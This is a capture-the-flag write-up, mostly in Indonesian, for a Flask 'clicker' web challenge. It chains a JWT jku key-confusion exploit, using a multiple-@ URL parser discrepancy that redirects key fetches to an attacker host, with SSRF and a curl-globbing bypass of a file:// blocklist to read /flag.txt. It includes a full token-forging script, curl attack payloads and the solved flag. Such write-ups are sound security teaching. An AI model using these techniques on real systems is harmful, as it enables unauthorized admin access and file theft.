clicker

description
Author: lordrukie x beluga
Im too addicted to this clicker game, so i decided to make it myself.
Overview
Challenge ini adalah aplikasi web berbasis Flask yang menggunakan autentikasi JWT untuk mengontrol akses user dan admin.
Vulnerability utama pada challenge ini adalah:
- JWT Key Confusion melalui parameter jku.
- Server-Side Request Forgery (SSRF) + parser discrepancy.
- Bypass filter skema file:// menggunakan curl globbing.
Goal: Mendapatkan akses admin dan membaca file sensitif (/flag.txt) dari server.
Proteksi:
- Endpoint /api/admin/* hanya dapat diakses oleh admin
- Server mencoba membatasi sumber JWKS dan memblok akses file://
Langkah Penyelesaian
1. Privilege Escalation (JWT Key Confusion)
Aplikasi menggunakan JWT dengan dukungan JWKS melalui parameter header jku. Server akan mengambil public key dari URL tersebut untuk memverifikasi signature token.
Untuk mencegah attacker menggunakan JWKS dari domain luar, developer membuat fungsi validasi berikut:
def validate_jku_url(url):
allowed_domains = ['localhost', '127.0.0.1']
allowed_ports = ['80', '443', '5000', '8080']
if not url:
return False
scheme = extract_scheme(url)
if not scheme:
return False
domain = extract_domain(url)
path = extract_path(url)
domain_only = domain
if ':' in domain:
domain_only, port = domain.split(':', 1)
if port not in allowed_ports:
return False
if domain_only not in allowed_domains:
return False
if not path.endswith('jwks.json'):
return False
return TrueTujuan validasi ini adalah memastikan:
- Domain harus: localhost atau 127.0.0.1
- Port harus salah satu dari: 80, 443, 5000, 8080
- Path harus berakhir dengan: jwks.json
Root Cause Vulnerability: Improper URL Parsing
- Masalah utama ada pada fungsi extract_domain:
def extract_domain(url):
url_without_scheme = remove_scheme(url)
domain_and_port = url_without_scheme.split('/')[0]
if '@' in domain_and_port:
parts = domain_and_port.split('@')
domain_and_port = parts[1]
return domain_and_portFungsi ini mencoba menangani format: http://user@domain/path Namun implementasinya salah karena:
parts = domain_and_port.split('@')
domain_and_port = parts[1]Ini hanya mengambil bagian setelah @ pertama, bukan yang terakhir.
Exploit Technique: Multiple @ Confusion Attacker dapat membuat URL seperti: http://a@localhost:5000@attacker.com/jwks.json
Mari lihat bagaimana fungsi memproses URL ini:
-
Step 1 — remove_scheme Input:
http://a@localhost:5000@attacker.com/jwks.jsonOutput:a@localhost:5000@attacker.com/jwks.json -
Step 2 — extract_domain
domain_and_port = url_without_scheme.split('/')[0]
Result: ['a', 'localhost:5000', 'attacker.com']
Kemudian: domain_and_port = parts[1]
Result: localhost:5000
VALIDASI BERHASIL karena: domain_only = localhost, port = 5000. keduanya ada di whitelist.
Namun, HTTP client akan menggunakan host yang berbeda:
Menurut standar URL parsing: http://a@localhost:5000@attacker.com/jwks.json
Host sebenarnya adalah: attacker.com
Sehingga:
- validate_jku_url → menganggap aman
- HTTP client → mengambil JWKS dari attacker.com
ini disebut: Parser Discrepancy Vulnerability
Exploit Step: Forge Admin JWT:
Untuk mengeksploitasi vulnerability ini, saya membuat script sendiri.
Script ini dibuat untuk mengotomatisasi proses exploit JWT JKU confusion dengan melakukan:
- Generate RSA key pair attacker
- Membuat JWKS dari public key attacker
- Membuat malicious JKU yang bypass validasi server
- Forge JWT admin menggunakan private key attacker
- Menyimpan artifact dan menghasilkan token siap pakai
import argparse
import base64
import importlib.util
import json
import time
from pathlib import Path
from typing import Any
from urllib.parse import urlparse
def b64url_uint(value: int) -> str:
raw = value.to_bytes((value.bit_length() + 7) // 8, "big")
return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
def normalize_host(host_or_url: str) -> str:
candidate = host_or_url.strip()
if not candidate:
raise ValueError("attacker host/url is empty")
if "://" in candidate:
parsed = urlparse(candidate)
if not parsed.netloc:
raise ValueError("invalid attacker url")
host = parsed.netloc
else:
host = candidate
if host.endswith("/"):
host = host[:-1]
return host
def build_bypass_jku(attacker_host: str, local_hint: str = "localhost:5000") -> str:
return f"http://a@{local_hint}@{attacker_host}/jwks.json"
def generate_rsa_pair() -> tuple[bytes, Any]:
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
private_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption(),
)
public_key = private_key.public_key()
return private_pem, public_key
def jwk_from_public_key(public_key: Any, kid: str) -> dict:
numbers = public_key.public_numbers()
return {
"kty": "RSA",
"kid": kid,
"use": "sig",
"alg": "RS256",
"n": b64url_uint(numbers.n),
"e": b64url_uint(numbers.e),
}
def write_artifacts(out_dir: Path, private_pem: bytes, jwks_doc: dict) -> tuple[Path, Path]:
out_dir.mkdir(parents=True, exist_ok=True)
private_path = out_dir / "attacker_private.pem"
jwks_path = out_dir / "jwks.json"
private_path.write_bytes(private_pem)
jwks_path.write_text(json.dumps(jwks_doc, indent=2), encoding="utf-8")
return private_path, jwks_path
def build_token(private_pem: bytes, kid: str, jku: str, username: str, user_id: int, ttl_hours: int) -> str:
import jwt
payload = {
"user_id": user_id,
"username": username,
"is_admin": True,
"exp": int(time.time()) + (ttl_hours * 3600),
"jku": jku,
}
return jwt.encode(payload, private_pem, algorithm="RS256", headers={"kid": kid})
def test_admin(target_base: str, token: str) -> tuple[int, str]:
import requests
url = target_base.rstrip("/") + "/api/admin/settings"
response = requests.get(url, headers={"Authorization": f"Bearer {token}"}, timeout=10)
return response.status_code, response.text
def main() -> None:
required_modules = ["jwt", "requests", "cryptography"]
if any(importlib.util.find_spec(module) is None for module in required_modules):
print("Missing dependencies. Install first:")
print("pip install pyjwt cryptography requests")
return
parser = argparse.ArgumentParser(description="Forge admin JWT for web_clicker JKU confusion bug")
parser.add_argument("--attacker", required=True, help="Public host/url serving jwks.json (example: abcd.ngrok-free.app)")
parser.add_argument("--target", default="http://challenges.1pc.tf:46986", help="Target base URL")
parser.add_argument("--kid", default="key1", help="JWT kid header value")
parser.add_argument("--username", default="admin", help="Username claim")
parser.add_argument("--user-id", type=int, default=1, help="User ID claim")
parser.add_argument("--ttl-hours", type=int, default=24, help="Token lifetime in hours")
parser.add_argument("--out-dir", default="./clicker_artifacts", help="Output directory for private key + jwks")
parser.add_argument("--local-hint", default="localhost:5000", help="Allowed host:port hint in bypass jku")
parser.add_argument("--test", action="store_true", help="Send verification request to /api/admin/settings")
args = parser.parse_args()
attacker_host = normalize_host(args.attacker)
bypass_jku = build_bypass_jku(attacker_host, args.local_hint)
private_pem, public_key = generate_rsa_pair()
jwk = jwk_from_public_key(public_key, args.kid)
jwks_doc = {"keys": [jwk]}
private_path, jwks_path = write_artifacts(Path(args.out_dir), private_pem, jwks_doc)
token = build_token(
private_pem=private_pem,
kid=args.kid,
jku=bypass_jku,
username=args.username,
user_id=args.user_id,
ttl_hours=args.ttl_hours,
)
print("=== Artifacts ===")
print(f"private key : {private_path}")
print(f"jwks file : {jwks_path}")
print("\nServe jwks.json from your attacker host, then use this token:")
print("\n=== Forged Admin Token ===")
print(token)
print("\n=== JKU used in token ===")
print(bypass_jku)
print("\n=== Quick test command ===")
print(
"curl "
+ args.target.rstrip("/")
+ "/api/admin/settings -H \"Authorization: Bearer "
+ token
+ "\""
)
if args.test:
code, body = test_admin(args.target, token)
print("\n=== Test response ===")
print(f"status: {code}")
print(body)
if __name__ == "__main__":
main()Contoh Penggunaan:
python3 forge_clicker_admin.py --attacker https://aria.my.id/jwks.json --target http://challenges.1pc.tf:24283
Copy hasil jwks.json ke dalam vps, atau cpanel:

2. Verifikasi akses admin
setelah mendapatkan token admin, langkah selanjutnya adalah mengakses endpoint admin untuk memastikan token bekerja dengan benar.
T='<FORGED_TOKEN>'
H="Authorization: Bearer $T"
U="http://challenges.1pc.tf:<PORT>"
curl -s "$U/api/admin/settings" -H "$H"
curl -s "$U/api/admin/files" -H "$H"
3. Server-Side Request Forgery (SSRF) melalui /api/admin/download
Setelah berhasil mendapatkan akses admin menggunakan forged JWT.
Endpoint ini memungkinkan admin untuk mendownload file dari URL arbitrary dan menyimpannya ke direktori /static/.
Analisis source code:
result = subprocess.run(
['curl', '-o', output_path, '--', url],
capture_output=True,
text=True,
timeout=30
)Server secara langsung menjalankan perintah:
curl -o static/<filename> -- <user-controlled-url>Ini berarti server akan melakukan HTTP request ke URL yang dikontrol attacker.
Jika berhasil, file akan disimpan di: /static/<filename>, dan dapat di akses di browser
Contoh request:
curl -X POST "$U/api/admin/download" \
-H "$H" \
-H "Content-Type: application/json" \
-d '{
"url":"http://127.0.0.1:5000/",
"filename":"test.txt",
"title":"test",
"type":"image"
}'curl -s "$U/api/admin/files" -H "$H"
curl -s "$U/static/test.txt" -H "$H" | head -n 5
Output menunjukkan konten halaman internal server. Ini membuktikan bahwa SSRF berhasil.
4. Bypass filter file:// menggunakan curl globbing
Developer mencoba memblok protocol berbahaya menggunakan blacklist:
blocked_protocols = ['dict', 'file', 'ftp', 'gopher', ...]
url_lower = url.lower().strip()
for proto in blocked_protocols:
if url_lower.startswith(proto) or (proto + ':') in url_lower:
return jsonify({'message': f'Blocked protocol: {proto}'}), 400Tujuannya adalah memblok akses seperti: file:///flag.txt Namun validasi ini lemah karena hanya memeriksa string literal.
Root Cause: Curl Globbing + Blacklist Bypass
Curl memiliki fitur bernama globbing yang memungkinkan pattern seperti: f[h-i]le:///flag.txt
Pattern ini akan diexpand oleh curl menjadi: fihe:///flag.txt, file://flag.txt
contoh: curl f[a-z]le:///flag.txt

Namun validasi server hanya memeriksa string literal:
if url_lower.startswith("file")
Akibatnya, filter dapat dibypass.
Exploit membaca flag
Kirim request berikut:
curl -X POST "$U/api/admin/download" \
-H "$H" \
-H "Content-Type: application/json" \
-d '{
"url":"f[h-i]le:///flag.txt",
"filename":"flag.txt",
"title":"flag",
"type":"image"
}'Server menjalankan:
curl -o static/flag.txt -- f[h-i]le:///flag.txtCurl melakukan globbing dan mengakses: file:///flag.txt, dan file flag disimpan ke /static/flag.txt.
Ambil file menggunakan:
curl -s "$U/static/flag.txt" -H "$H"
flag
C2C{p4rs3r_d1sr4p4ncy_4nd_curl_gl0bb1ng_1s_my_f4v0r1t3_e1e24a89bd25}